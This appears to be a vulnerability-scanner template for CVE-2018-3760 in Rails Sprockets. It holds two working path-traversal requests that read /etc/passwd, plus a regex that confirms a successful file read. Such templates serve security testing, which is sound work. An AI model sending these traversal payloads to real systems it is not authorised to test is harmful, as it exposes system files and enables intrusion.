id: CVE-2018-3760
info:
  name: Rails Sprockets Information Leak
  risk: High

params:
  - root: '{{.BaseURL}}'

variables:
  - endpoint: |
      assets/
requests: 
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}file:%2f%2f/etc/passwd
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:")

  - method: GET
    redirect: false
    url: >-
      {{.root}}/{{.endpoint}}/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    detections: 
      - >-
        StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:")

references:
  - https://www.cvebase.com/cve/2018/3760